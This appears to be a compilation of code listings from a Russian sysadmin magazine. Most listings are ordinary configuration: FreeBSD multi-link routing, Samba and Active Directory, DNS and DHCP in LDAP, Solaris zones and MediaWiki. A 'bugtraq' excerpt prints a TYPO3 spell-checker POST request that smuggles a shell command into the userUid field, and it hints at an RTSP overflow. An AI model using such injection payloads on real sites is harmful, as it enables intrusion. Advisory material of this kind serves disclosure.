Два канала – роскошь? Резервирование и балансировка трафика во FreeBSD
Сергей Супрунов
# route add 8x.25y.0.0/16 10.0.1.1
# netstat -rn | head -4; netstat -rn | grep 8x.25y
static_routes="meganet"
route_meganet="-net 8x.25y 10.0.1.1"
# ipfw table 1 add 8x.25y.0.0/16
# ipfw add 5000 fwd 10.0.1.1 ip from 192.168.0.0/24 to 'table(1)'
# route add 0.0.0.0/1 10.0.1.1
# ipfw add 4900 fwd 10.0.1.1 ip from 192.168.0.100 to any
# ipfw add 4950 fwd 10.0.1.1 tcp from 192.168.0.128/29 to any
# ipfw add 5000 fwd 10.0.1.1 ip from 192.168.0.0/24 to 'table(1)'
tcp_outgoing_address 10.0.1.2
udp_incoming_address 10.0.1.2
udp_outgoing_address 10.0.1.2
# ipfw add fwd 10.0.1.1 ip from 10.0.1.2 to not 192.168.0.0/24 out
CLIENT_OPTIONS(`Addr=10.0.1.2')dnl
ipfw add 4900 fwd 10.0.1.1 ip from 192.168.0.0/25 to any
# natd -n rl0 -p 8668
# natd -n rl1 -p 8669
# ipfw add divert 8668 ip from 192.168.0.0/25 to any
# ipfw add divert 8669 ip from 192.168.0.128/25 to any
# ipfw add fwd 10.0.1.1 ip from 10.0.1.2 to any
# ipfw add fwd 10.1.1.1 ip from 10.1.1.2 to any
# ipfw add divert 8668 ip from any to 10.0.1.2
# ipfw add divert 8669 ip from any to 10.1.1.2
nat on rl0 from 192.168.0.0/25 to any -> 10.0.1.2
nat on rl1 from 192.168.0.128/25 to any -> 10.1.1.2
pass out route-to (rl0 10.0.1.1) from 10.0.1.2 to any
pass out route-to (rl1 10.1.1.1) from 10.1.1.2 to any
acl subnet1 src 192.168.0.0/255.255.255.240
acl subnet2 stc 192.168.0.128/255.255.255.240
tcp_outgoing_address 10.0.1.2 subnet1
tcp_outgoing_address 10.1.1.2 subnet2
pass in on ed0 \
route-to { (rl0 10.0.1.1), (rl1 10.1.1.1)} round-robin \
from 192.168.0.0/24 to any keep state
ipfw add 500 check-state
ipfw add 1000 prob 0.4 skipto 2000 ip from any to any in via ed0
ipfw add 1500 fwd 10.0.1.1 ip from 192.168.0.0/24 to any out keep-state
ipfw add 2000 fwd 10.1.1.1 ip from 192.168.0.0/24 to any out keep-state
#!/bin/sh
GW1=10.161.193.1
GW2=83.221.201.197
/sbin/ping -q -c 1 $GW1 > /dev/null 2>&1
if [ $? != 0 ]; then
/sbin/ping -q -c 1 $GW2 > /dev/null 2>&1
if [ $? = 0 ]; then
if [ ! -f /tmp/gw.changed ]; then
/sbin/route change default $GW2 \
&& touch /tmp/gw.changed
fi
fi
else
if [ -f /tmp/gw.changed ]; then
/sbin/route change default $GW1 \
&& rm /tmp/gw.changed
fi
fi
ping -S 10.0.1.2 yandex.ru
-----------------------------------------------------------------------------------------------------------------
Создаём интегрированный в Active Directory файл-сервер на базе Samba во FreeBSD
Алексей Бережной
fs# cd /sys/i386/conf
fs# cp GENERIC fs
fs# vi fs
options SMP
options QUOTA
ident SMP-GENERIC
fs# config fs
fs# cd ../compile/fs
fs# make depend && make && make install
fs# reboot
fs# portsnap fetch && portsnap extract && portsnap update
fs# gmirror label -v gm0 da2 da3
fs# gmirror label -v gm1 da4 da5
fs# gmirror label -v gm2 da6 da7
fs# echo geom_mirror_load="YES" >> /boot/loader.conf
fs# ls /dev/mirror
fs# newfs /dev/mirror/gm0
fs# newfs /dev/mirror/gm1
fs# newfs /dev/mirror/gm2
fs# /sbin/tunefs -a enable /dev/mirror/gm0
fs# /sbin/tunefs -a enable /dev/mirror/gm1
fs# /sbin/tunefs -a enable /dev/mirror/gm2
fs# mkdir /vol0
fs# mkdir /vol1
fs# mkdir /vol2
fs# mount /dev/mirror/gm0 /vol0
fs# mount /dev/mirror/gm1 /vol1
fs# mount /dev/mirror/gm2 /vol2
fs# mount
fs# vi /etc/fstab
# Device Mountpoint FStype Options Dump Pass#
/dev/da1s1b none swap sw 0 0
/dev/da0s1a / ufs rw 1 1
/dev/da1s1d /add ufs rw 2 2
/dev/acd0 /cdrom cd9660 ro,noauto 0 0
# GMIRROR volume
/dev/mirror/gm0 /vol0 ufs rw 1 2
/dev/mirror/gm1 /vol1 ufs rw 1 2
/dev/mirror/gm2 /vol2 ufs rw 1 2
fs# cd /usr/ports/security/heimdal
fs# make install clean
fs# vi /etc/krb5.conf
[libdefaults]
default_realm = MYDOMAIN.RU
clockskew = 300
v4_instance_resolve = false
v4_name_convert = {
host = {
rcmd = host
ftp = ftp
}
plain = {
something = something-else
}
}
[realms]
MYDOMAIN.RU = {
kdc = pdc.mydomain.ru
admin_server = pdc.mydomain.ru
default_domain = mydomain.ru
}
OTHER.REALM = {
v4_instance_convert = {
kerberos = kerberos
computer = pdc.mydomain.ru
}
}
[domain_realm]
.mydomain.ru = MYDOMAIN.RU
fs# ntpdate 192.168.1.6
fs# echo ntpdate 192.168.1.6 >> /etc/rc.local
fs# kinit -p Administrator
fs# klist
passwd: files winbind
group: files winbind
hosts: files dns
fs# cd /usr/ports/net/samba3
fs# make install clean
fs# vi /etc/rc.conf
cupsd_enable="YES" # Unix Pint System
inetd_enable="YES" # Super Daemon for call some services
nmbd_enable="YES" # SMB client for Unix (need for WINS)
smbd_enable="YES" # SMB server for Unix
winbindd_enable="YES" # WinBIND for Windows autorization
fs# ps aux | grep inetd
fs# ps aux | grep cupsd
fs# ps aux | grep nmbd
fs# ps aux | grep smbd
fs# ps aux | grep winbindd
fs# vi /usr/local/etc/cupsd.conf
#
# "$Id: cupsd.conf.in 5454 2006-04-23 21:46:38Z mike $"
#
# Sample configuration file for the Common UNIX Printing
# System (CUPS) scheduler. See "man cupsd.conf" for
# a complete description of this file.
#
# Log general information in error_log - change "info"
# to "debug" for troubleshooting...
LogLevel info
# Administrator user group...
SystemGroup wheel
# Only listen for connections from the local machine.
Listen localhost:631
Listen 192.168.1.3:631
Listen /var/run/cups.sock
# Show shared printers on the local network.
Browsing On
BrowseOrder allow,deny
BrowseAllow @LOCAL
# Default authentication type, when authentication
# is required...
DefaultAuthType Basic
# Restrict access to the server...
Order deny,allow
Deny From All
Allow localhost
Allow 192.168.1.*
# Restrict access to the admin pages...
AuthType Basic
AuthClass System
Encryption Required
Order deny,allow
Deny From All
Allow localhost
Allow 192.168.1.*
# Restrict access to configuration files...
AuthType Basic
Require user @SYSTEM
Order deny,allow
Deny From All
Allow localhost
Allow 192.168.1.*
# Set the default printer/job policies...
# Job-related operations must be done by the owner or
# an adminstrator...
Require user @OWNER @SYSTEM
Order deny,allow
# All administration operations require an adminstrator
# to authenticate...
AuthType Basic
Require user @SYSTEM
Order deny,allow
# Only the owner or an administrator can cancel
# or authenticate a job...
Require user @OWNER @SYSTEM
Order deny,allow
Order deny,allow
#
# End of "$Id: cupsd.conf.in 5454 2006-04-23 21:46:38Z
# mike $".
#
Listen 192.168.1.3:631
Order deny,allow
Deny From All
Allow localhost
Allow 192.168.1.*
Encryption Required
fs# /usr/local/etc/rc.d/cupsd restart
fs# ps aux | grep cupsd
fs# /usr/local/etc/rc.d/cupsd start
fs# cp usr/local/etc/smb.conf.sample usr/local/etc/smb.conf
fs# vi usr/local/etc/smb.conf
fs# vi /etc/inetd.conf
swat stream tcp nowait/400 root /usr/local/sbin/swat swat
fs# killall -1 inetd
fs# sockstat | grep 901
# Samba config file created using SWAT
# from 192.168.1.32 (192.168.1.32)
# Date: 2007/01/12 15:19:15
[global]
dos charset = cp866
unix charset = koi8-r
display charset = cp866
workgroup = ARS
realm = MYDOMAIN.RU
server string = Samba Server
security = DOMAIN
auth methods = winbind
map to guest = Bad User
client NTLMv2 auth = Yes
client lanman auth = No
client plaintext auth = No
log file = /var/log/samba/log.%m
max log size = 50
client signing = Yes
preferred master = No
local master = No
domain master = No
dns proxy = No
wins server = 192.168.1.1
ldap ssl = no
usershare allow guests = Yes
idmap uid = 10000-20000
idmap gid = 10000-20000
winbind use default domain = Yes
printer admin = root
acl group control = Yes
hosts allow = 192.168.1., 127.
map acl inherit = Yes
case sensitive = No
fs# net ads join -U _Domain_Administrator_%_password_of_domain_admin_
fs# wbinfo -t
fs# wbinfo -u
fs# wbinfo -g
fs# wbinfo -a _имя_юзера_%_пароль_юзера_
c:\> net use h: \\fs\vol0\_имя_каталога_
c:\> net use lpt2: \\fs\_printer_name_
[printers]
comment = All Printers
path = /var/spool/samba
printable = Yes
browseable = No
[vol0]
comment = vol0
path = /vol0
read only = No
guest ok = Yes
hosts allow =
browseable = No
[vol1]
path = /vol1
read only = No
guest ok = Yes
hosts allow =
browseable = No
[vol2]
path = /vol2
read only = No
guest ok = Yes
hosts allow =
available = No
[hp_LaserJet_1320_series_192.168.1.15]
comment = hp LaserJet 1320 series
path = /var/spool/samba
read only = No
guest ok = Yes
printable = Yes
printer name = hp_LaserJet_1320_series_192.168.1.15
oplocks = No
share modes = No
-----------------------------------------------------------------------------------------------------------------
Полезные советы. Утилита find
Сергей Супрунов
find ./ -name "milter-spa*"
find ./ -name "milter-spa*" 2>/dev/null
find /home/serg/samag -mindepth 2 -maxdepth 2
find test -nouser -delete
find ./ -name "*.py" -exec cat {} \;
find ./ -atime +90d -size +20 -exec tar cjf old.tbz2 {} \;
find . -type f -newerac Qwert
find ./ -iname 'qwe*' -and -size +20 -or -name 'Qwert'
-----------------------------------------------------------------------------------------------------------------
Подключаем несколько локальных сетей с пересекающейся адресацией к одному компьютеру
Андрей Кишкин
CONFIG_NETFILTER
CONFIG_IP_NF_CONNTRACK
CONFIG_IP_NF_IPTABLES
CONFIG_IP_NF_MATCH_MARK
CONFIG_IP_NF_NAT
ip address add 192.168.1.10/32 dev eth1
iptables –t NAT –A PREROUTING –i eth1 –s 192.168.0.0/24 –j DNAT -–to-destination 192.168.1.10
echo /etc/iproute2/rt_tables >> 10 TO_ETH0
echo /etc/iproute2/rt_tables >> 20 TO_ETH1
ip route add default dev eth1 table TO_ETH1
ip route add default dev eth0 table TO_ETH0
iptables –t mangle –A OUTPUT –s 192.168.0.10/24 –j MARK -–set-mark 0
iptables –t mangle –A OUTPUT –s 192.168.1.10/24 –j MARK -–set-mark 1
ip rule add fwmark 1 table TO_ETH1
ip rule add fwmark 0 table TO_ETH0
iptables –t nat –A OUTPUT –s 192.168.1.10 –j DNAT -–to 192.168.0.10
ping 192.168.0.5
ping 192.168.1.5
iptables –t nat –A POSTROUTING –d 192.168.1.0/24 –j NETMAP –to 192.168.0.0
-----------------------------------------------------------------------------------------------------------------
Настраиваем DNS и DHCP с хранением информации в LDAP
Василий Озеров
include /usr/local/etc/openldap/schema/dnszone.schema
include /usr/local/etc/openldap/schema/dhcp.schema
spider@/root/> /usr/local/etc/rc.d/slapd.sh restart
Dns.ldif
# Добавляем контейнер, где будут храниться все зоны нашего DNS-севера
dn: ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: organizationalUnit
ou: dns
description: domain zones
# Добавляем прямую зону teachers
dn: zoneName=teachers,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: teachers
relativeDomainName: teachers
# SOA-запись для зоны teachers
dn: relativeDomainName=@,zoneName=teachers,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: teachers
relativeDomainName: @
nSRecord: ns.teachers.
sOARecord: ns.teachers. root.ns.teachers. 1 8H 2H 1W 1D
# Добавляем запись вида:
# ns IN A 192.168.1.254
dn: relativeDomainName=ns,zoneName=teachers,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: teachers
relativeDomainName: ns
dNSClass: IN
aRecord: 192.168.1.254
# Добавляем запись вида:
# spider IN A 192.168.1.250
dn: relativeDomainName=spider,zoneName=teachers,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: teachers
relativeDomainName: spider
dNSClass: IN
aRecord: 192.168.1.250
# Добавляем новую обратную зону 1.168.192.in-addr.arpa
dn: zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: 1.168.192.in-addr.arpa
relativeDomainName: 1.168.192.in-addr.arpa
# SOA-запись для зоны 1.168.192.in-addr.arpa
dn: relativeDomainName=@,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
relativeDomainName: @
nSRecord: ns.teachers.
sOARecord: ns.teachers. root.ns.teachers. 1 8H 2H 1W 1D
zoneName: 1.168.192.in-addr.arpa
# Добавляем запись вида:
# 254 PTR ns.teachers.
dn: relativeDomainName=254,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: 1.168.192.in-addr.arpa
relativeDomainName: 254
pTRRecord: ns.teachers.
# Добавляем запись вида:
# 250 PTR spider.teachers.
dn: relativeDomainName=250,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru
objectClass: top
objectClass: dNSZone
zoneName: 1.168.192.in-addr.arpa
relativeDomainName: 250
pTRRecord: spider.teachers.
spider@/root/> ldapadd -x -D "cn=root,dc=l1523,dc=ru" -W -f dns.ldif
dns@/root> cd /usr/ports/dns/bind9-sdb-ldap/
dns@/usr/ports/dns/bind9-sdb-ldap> make install clean
dns@/> pkg_info | grep bind
dns@/> /usr/local/sbin/named -v
Named.conf
# Описание списков доступа к bind
acl lan { 192.168.1.0/24; };
acl transfers { 127.0.0.1; };
# Конфигурация rndc-ключа. Сгенерировать ключ можно командой
# rndc-confgen, вывод которой нужно вставить в named.conf
key "rndc-key" {
algorithm hmac-md5;
secret "V0spN5Z3OWgkGG2Bt0SdKQ==";
};
controls {
inet 127.0.0.1 port 953
allow { 127.0.0.1; } keys { "rndc-key"; };
};
# Опции демона named
options {
directory "/etc/namedb";
pid-file "/var/run/named/pid";
dump-file "/var/dump/named_dump.db";
statistics-file "/var/stats/named.stats";
# IP-адреса, на которых named будет слушать запросы
listen-on { 127.0.0.1; 192.168.1.254; }
# Если named не найдет адрес, запрашиваемый клиентом,
# в локальных базах или кэше, то запрос перенаправится
# DNS-серверам провайдера
forward only;
# DNS-сервера провайдеров
forwarders { 192.168.49.100; 172.16.0.3; };
# Разрешение запросов
allow-query { lan; trusted; };
allow-recursion { trusted; lan; };
};
# Описание зоны teachers
zone "teachers." {
# Наш сервер является первичным для этой зоны
type master;
# Где располагается зона.
# Формат записи: database «ldap протокол:
# //IP_адрес_LDAP_сервер/_путь_к_нужной_зоне_ ttl»
# Указанный ttl будет использован по умолчанию,
# если не будет указан другой ttl
database "ldap ldap://192.168.1.250/zoneName=teachers,ou=dns,dc=l1523,dc=ru 178600";
# Права доступа
allow-query { lan; trusted; };
allow-transfer { transfers;};
};
# Описание обратной зоны: 1.168.192.in-addr.arpa
zone "1.168.192.IN-ADDR.ARPA." {
# Наш сервер primary
type master;
# Где хранится зона
database "ldap ldap://192.168.1.250/zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru 178600";
# Права доступа
allow-query { lan; trusted; };
allow-transfer { transfers; };
};
dns@/root/> echo named_enable=\"YES\" >> /etc/rc.conf
dns@/root/> echo named_program=\"/usr/local/sbin/named\" >> /etc/rc.conf
dns@/root/> chown bind:bind /var/named/etc/namedb/master/var/named/etc/namedb/dynamic
dns@/root/> chown –R bind:bind /var/named/var/
dns@/root/> /etc/rc.d/named start
dns@/root/> ps ax | grep named
dns@/root> rndc status
dns@/root> dig @127.0.0.1 teachers. axfr
dns@/root> dig @127.0.0.1 1.168.192.in-addr.arpa axfr
spider@/root> cd /usr/ports/net/isc-dhcp3-server/
spider@/usr/ports/net/isc-dhcp3-server> make install clean
/root/dhcpd.conf
# Время, на которое выдается IP
default-lease-time 14400;
# Время, через которое клиент обязан вернуть IP
max-lease-time 28800;
log-facility local7;
authoritative;
# Не проводить обновление зон
ddns-update-style none;
# Описание сети 192.168.1.0/24
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.200;
ignore client-updates;
option domain-name "teachers";
option domain-name-servers 192.168.1.254;
option routers 192.168.1.254;
option default-ip-ttl 64;
option default-tcp-ttl 64;
}
# Этот параметр можно не менять, будет использован результат, который вернет функция hostdomain()
my $domain = hostdomain();
# Корень сервера ldap
my $basedn = "dc=l1523,dc=ru";
# В этой строке скрипт заменяет все «.», указанные в $basedn на «,dc=»
$basedn =~ s/\./,dc=/g;
# Параметр можно не изменять, будет использован результат вызова функции hostname(),
# где будут храниться настройки DHCP
my $server = hostname();
my $dhcpcn = 'dhcp'; # CN of DHCP config tree
my $dhcpdn = "cn=$dhcpcn, $basedn"; # DHCP config tree DN
my $second = ''; # secondary server DN / hostname
my $i_conf = ''; # dhcp.conf file to read or stdin
my $o_ldif = ''; # output ldif file name or stdout
my @use = (); # extended flags (failover)
spider@/root/> dhcpd-conf-to-ldap.pl < /root/dhcpd.conf
spider@/root/> ldapadd –x –D "cn=root,dc=l1523,dc=ru" –W –f dhcp.ldif
/usr/local/etc/dhcpd.conf
# IP-адрес или hostname LDAP-сервера
ldap-server "spider.teachers";
# Порт, который слушает LDAP
ldap-port 389;
# Учетная запись, под которой будет происходить подключение к LDAP-серверу.
ldap-username "cn=root,dc=l1523,dc=ru";
# Пароль учетной записи
ldap-password "123456";
# Корень LDAP-сервера
ldap-base-dn "dc=l1523,dc=ru";
ldap-method dynamic;
spider@/root/> echo dhcpd_enable=\"YES\" >> /etc/rc.conf
spider@/root/> /usr/local/etc/rc.d/isc-dhcpd.sh start
spider@/root/> mkdir dhcp
spider@/root/> cd dhcp
spider@/root/dhcp/> fetch http://www.venaas.no/ldap/bind-sdb/dhcp2ldapd-1.1.gz
Dhcp2ldapd-1.1
#!/usr/bin/perl
# Файл, где хранится информация о выданных адресах DHCP-сервером
$LEASES = "/var/db/dhcpd/dhcpd.leases";
# Домен
$DOMAIN = "teachers";
# Обратная зона
$REVERSE = "1.168.192.in-addr.arpa";
# Где в LDAP хранятся зоны прямого и обратного преобразования
$FORWARD_BASE = "zoneName=teachers,ou=dns,dc=l1523,dc=ru";
$REVERSE_BASE = "zoneName=1.168.192.in-addr.arpa, ?
ou=dns,dc=l1523,dc=ru";
# Пользователь для подключения к LDAP-серверу
$USER = 'cn=root,dc=l1523,dc=ru';
# Пароль пользователя
$PASSWORD = "9vpIj9";
# Хост, на котором работает LDAP-сервер
$LDAP_HOST = 'localhost'
# Время проверки файла в секундах
$UPDATE_TIME = 30;
# Автопроверка
$AUTO_VERIFY = 0;
#!/bin/sh
case "$1" in
start)
if [ -f /var/run/dhcpd2ldap.pid ]
then
echo "Скрипт dhcpd2ldap уже запущен!"
else
daemon -f -p /var/run/dhcpd2ldap.pid /root/dhcp2ldapd-1.1
echo "Скрипт dhcpd2ldap запущен!"
fi
;;
stop)
if [ -f /var/run/dhcpd2ldap.pid ]
then
kill -TERM `cat /var/run/dhcpd2ldap.pid`
rm -f /var/run/dhcpd2ldap.pid
echo "Скрипт dhcpd2ldap остановлен!"
else
echo "Скрипт dhcpd2ldap не запущен!"
fi
;;
*)
echo "Использование: ${0##*/}: { start | stop }" >&2
exit 64
;;
esac
spider@/usr/local/etc/rc.d/> chmod 0755 dhcpd2ldap.sh
spider@/usr/local/etc/rc.d/> chown root:wheel dhcpd2ldap.sh
spider@/usr/local/etc/rc.d/> ll dhcpd2ldap.sh
spider@/usr/local/etc/rc.d/> ps ax | grep dhcp
spider@/usr/local/etc/rc.d/> ./dhcpd2ldap.sh start
spider@/usr/local/etc/rc.d/> ps ax | grep dhcp
shield@/root> ps ax | grep named
shield@/root> host fr33man
shield@/root> host fr33man
shield@/root> host 192.168.1.199
shield@/root> ldapsearch -LLL -x -b 'dc=l1523,dc=ru' -H ldap://spider/ 'relativeDomainName=fr33man'
shield@/root> ldapsearch -LLL -x -b 'dc=l1523,dc=ru' -H ldap://spider/ 'relativeDomainName=199'
shield@/root> ps ax| grep named
-----------------------------------------------------------------------------------------------------------------
Размещаем пользовательские бюджеты в LDAP
Часть 2
Алексей Барабанов
# useradd -m -c "shadow user" suser1
# getent passwd | grep suser
# passwd suser1
# getent shadow | grep suser
> su - suser1 -c "LC_ALL=C id"
# useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -m -c "ldap user" luser1
# getent passwd | grep luser
# getent group | grep "^\(video\|dialout\)"
# cat pwdutils-3.1.2-memberUid-member.diff
--- lib/libldap.c.orig 2006-12-13 07:37:45.000000000 +0300
+++ lib/libldap.c 2006-12-13 07:46:09.000000000 +0300
@@ -1535,12 +1535,12 @@
return 1;
rc = ldap_update_group (session, group, binddn, password, LDAP_MOD_ADD,
- "member", dn );
+ "memberUid", member );
free (dn);
if ( first )
{
ldap_update_group (session, group, binddn, password, LDAP_MOD_DELETE,
- "member", "" );
+ "memberUid", "" );
}
}
else
@@ -1569,11 +1569,11 @@
if ( last )
{
ldap_update_group (session, group, binddn, password, LDAP_MOD_ADD,
- "member", "" );
+ "memberUid", "" );
}
rc = ldap_update_group (session, group, binddn, password, LDAP_MOD_DELETE,
- "member", userdn );
+ "memberUid", member );
free (userdn);
}
else
@@ -2039,13 +2039,13 @@
strvals[0][1] = "groupOfNames";
strvals[0][2] = NULL;
- /* groupOfNames requires at least one "member"
* attribute
+ /* groupOfNames requires at least one "memberUid"
* attribute use an empty value for groups with
* no members */
strvals[3][0] = "";
strvals[3][1] = NULL;
mod[3].mod_values = strvals[3];
- mod[3].mod_type = "member";
+ mod[3].mod_type = "memberUid";
mod[3].mod_op = LDAP_MOD_ADD;
mods[3] = &mod[3];
mods[4] = NULL;
#
# userdel -D cn=ldapadmin,dc=office,dc=localnet --service ldap -r luser1
# useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -m -c "ldap user" luser1
# getent group | grep "^\(video\|dialout\)"
# useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -p $(slappasswd -s luser2 -h {SSHA} ) -m -c "ldap user" luser2
# usermod -D cn=ldapadmin,dc=office,dc=localnet --service ldap -p $(slappasswd -s luser1 -h {SSHA} ) luser1
alekseybb@suse102:~> su - luser1 -c "LC_ALL=C id"
alekseybb@suse102:~> su - luser2 -c "LC_ALL=C id"
# slapcat | grep "^\(dn\|userPassword\)" | tail -n 4
# slapcat | grep "^userPassword" | tail -n 2 | awk '{print $2}' | mimencode -b -u
# cat pwdutils-3.1.2-newpassword.diff
--- lib/user.c.orig 2006-12-15 02:16:30.000000000 +0300
+++ lib/user.c 2006-12-15 02:18:42.000000000 +0300
@@ -1036,16 +1036,9 @@
}
if (data->newpassword)
- {
- const char *cryptstr = "{crypt}";
- char buffer[strlen (data->newpassword) +
- strlen (cryptstr) + 1];
- snprintf (buffer, sizeof (buffer), "%s%s", cryptstr,
- data->newpassword);
retval = ldap_update_user (session, data->pw.pw_name,
- data->binddn, data->oldclearpwd,
- "userPassword", buffer);
- }
+ data->binddn, data->oldclearpwd,
+ "userPassword", data->newpassword);
}
if (retval != 0)
fprintf (stderr,
# usermod -D cn=ldapadmin,dc=office,dc=localnet --service ldap -e -1 -p $(slappasswd -s luser1 -h {SSHA} ) luser1
# slapcat | grep "^\(dn\|userPassword\)" | tail -n 4
alekseybb@suse102:~> su - luser1 -c "LC_ALL=C id"
# cat < su - luser1 -c "LC_ALL=C id"
alekseybb@suse102:~> su - luser3 -c "LC_ALL=C id"
# getent passwd | tail -n 2
# getent shadow | tail -n 2
# grep shadow /etc/nsswitch.conf
# slapcat | grep "^\(dn: u\|userP\)" | tail -n 6
# slapcat | grep "^userP" | tail -n 1 | awk '{print $2}' | mimencode -b -u
# grep passwd /etc/ldap.conf
# getent passwd | tail -n 3
alekseybb@suse102:~> su - luser3 -c "LC_ALL=C id"
-----------------------------------------------------------------------------------------------------------------
Тонкая настройка Microsoft ISA 2004
Андрей Бирюков
Листинг 1. XML-файл для компрессии по диапазону
create
zonecfg:web> set zonepath=/z/web
zonecfg:web> set autoboot=true
zonecfg:web> add net
zonecfg:web:net> set physical=pcn0
zonecfg:web:net> set address=10.0.0.101
zonecfg:web:net> end
zonecfg:web> exit
# zonecfg -z web info
inherit-pkg-dir:
dir: /путь/к/каталогу
# zoneadm list -cv
# zoneadm -z web install
inherit-pkg-dir:
dir: /путь/к/каталогу
# zoneadm list -cv
# zoneadm -z web boot
# zoneadm list -cv
# ping 10.0.0.101
# zlogin web
# zonename
# uname -a
# psrinfo -v
# ps -e -o user,pid,ppid,time,fname
# df -n
# touch /usr/test
# mount | grep /usr
# svcs http
# svcs -xv
# cp /etc/apache2/httpd.conf-example /etc/apache2/httpd.conf
# svcadm enable http
# pgrep -fl http
# ppriv -S `pgrep -o http`
# psradm -i 0 1 2 3 4
-----------------------------------------------------------------------------------------------------------------
Боремся с вирусами и спамом с помощью MPP
Сергей Яремчук
$ sudo /usr/local/MPP/configure.pl
$ sudo /usr/local/MPP/configure.pl
$ wget –c http://switch.dl.sourceforge.net/sourceforge/webadmin/webmin_1.310_all.deb
$ sudo apt-get install libauthen-pam-perl libio-pty-perl libmd5-perl
$ sudo dpkg -i /media/win_e/webmin_1.310_all.deb
$ wget -c ftp://ftp.messagepartners.com/pub/mpp/webmin/rae-mpp.wbm.gz
donot_scan_users = /usr/local/MPP/donotscanlist
scan_domains = mycompany.com, test.com
scan_archives = yes
on_encrypted_message = pass
quarantine_method = file
sql_type = mysql
sql_database = spam
sql_host = localhost
sql_user = user
sql_password = password
spam_filter = yes
spam_action = marksubject
spam_marksubject = SPAM-%SUBJECT%
spam_forwardaddr = %EMAILID%-spam@%DOMAIN%
-----------------------------------------------------------------------------------------------------------------
bugtraq, стр. 78, 79
--- post request ---
POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.typo3host.abc
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true
--- /post request ---
"rtsp://[any character]:[>256 bytes]")
-----------------------------------------------------------------------------------------------------------------
Работаем с MediaWiki
Евгений Балдин
# Установка MediaWiki
> sudo apt-get install mediawiki1.7 mediawiki1.7-math
# Установка PHP - необходима версия не ниже 5-й
> sudo apt-get install php5
# Распаковка
> tar -xvzf mediawiki-1.8.2.tar.gz
# Перенос исходников в выбранную директорию
> mv mediawiki-1.8.2 "wikidir"
# Выясняем, под каким пользователем выполняется Apache
> ps aux | grep apache | cut -f1 -d' ' | sort | uniq
# Даём возможность Apache управлять директорией
> chown -R www_data:www_data "wikidir"
# Сопоставление физической директории и пути в URL
Alias /wiki "wikidir"
# Доступ по умолчанию
Options +FollowSymLinks
AllowOverride All
order allow,deny
allow from all
# доступ к некоторым директориям следует ужесточить
Options -FollowSymLinks
AllowOverride None
Options -FollowSymLinks
AllowOverride None
# Установка MySQL (рекомендуется версия старше 4.0)
> sudo apt-get install mysql-server
# Установка phpMyAdmin для администрирования MySQL
> sudo apt-get install phpmyadmin
# Установка базы данных (в разных системах по-разному)
> sudo apt-get install postgresql-8.1
# Создание учётной записи суперпользователя (предварительно настраивается sudo
# для возможности исполнения команд под пользователем postgres)
> sudo -u postgres createuser
# Установка PHP-драйвера
> sudo apt-get install php5-pgsql
# Создание пользователя для wiki
> createuser -U "супер"-S -D -R -P -E wikiuser
# Создание базы данных
> createdb -U "супер"-O wikiuser wikidb
CREATE DATABASE
# Разрешение на использование процедурного языка plpgsql
> createlang -U "супер" plpgsql wikidb
> sudo apt-get install postgresql-contrib-8.1
# Инициализация механизма полнотекстового поиска tsearch2
# (путь до tsearch2.sql относительно директории PostgreSQL)
> psql -U "супер"wikidb -f contrib/tsearch2.sql
# Подсоединяемся к wikidb под суперпользователем
> psql -U "супер" wikidb
# Смотрим, какие таблицы были созданы
wikidb=> \d
# Разрешение на доступ к таблицам для wikiuser
wikidb=> GRANT SELECT,UPDATE ON pg_ts_cfg TO wikiuser;
wikidb=> GRANT SELECT ON pg_ts_parser, pg_ts_dict, pg_ts_cfgmap TO wikiuser;
function stripForSearch( $string ) {
global $wgDBtype;
if ( $wgDBtype != 'mysql' ) {
return $string;
}
…
$wgFileExtensions = array('png', 'gif', 'jpg', 'jpeg');
==Гиперссылки==
* Wiki - это [[гипертекст]].
* А это [http://www.samag.ru внешняя ссылка]
==Тестирование медиа-файла==
[[Медиа:mediawiki.ps|mediawiki.ps]] - PostScript file
==Тестирование картинок==
[[Изображение:turtle.png]]
==Экранирование Wiki-разметки==
[[привет]]
==Тестирование математики==
Решение квадратного уравнение :
[[Категория:Тестовые страницы]]
Проверка возможностей {{Поправляйте}}
-----------------------------------------------------------------------------------------------------------------